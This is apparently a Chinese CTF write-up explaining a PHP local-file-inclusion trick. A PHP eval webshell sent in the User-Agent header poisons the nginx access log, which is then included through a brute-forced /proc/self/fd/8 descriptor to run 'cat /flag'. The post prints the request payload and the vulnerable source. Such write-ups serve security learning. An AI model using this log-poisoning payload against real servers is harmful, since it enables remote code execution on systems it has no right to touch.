前言 
此Trick的使用面非常窄,只适用于特定环境,这里只做特例分析,在后续服务器复现中,fd目录下没有指向日志的文件描述符,若有错误请指出  
利用 
?gwht=/proc/self/fd/8&cmd=system('cat /flag');
'user-agent': '<?php eval($_GET[cmd]);?>'
  
/proc/self/fd/x -> /var/log/nginx/access.log
include("/proc/self/fd/x") == include("/var/log/nginx/access.log")
  
x需要爆破出结果  
原理 
本题源码可以简化成  
<?php
	$gwht = $_GET["gwht"];
	if(preg_match("/flag/",$gwht)){
		die("hack");
	}
	include($gwht);
?>
  
/proc的利用见另一篇文章  
 
 『Linux』进程信息目录/proc  
  
这里的fd/8是文件描述符,是一个指向日志的软连接,因此实现了日志包含  
fd/8是通过爆破出的        /proc/self/fd目录存放了当前进程的文件描述符,文件描述符可以理解成是软连接指向当前进程操作过的文件,通过爆破发现8号即指向日志的文件描述符,然后就能日志包含  
参考 
 
 Journey from LFI to RCE with /proc/self/fd/ !!!    
  
完 
 
 欢迎在评论区留言  
 
                
                
                
        
    
 
 |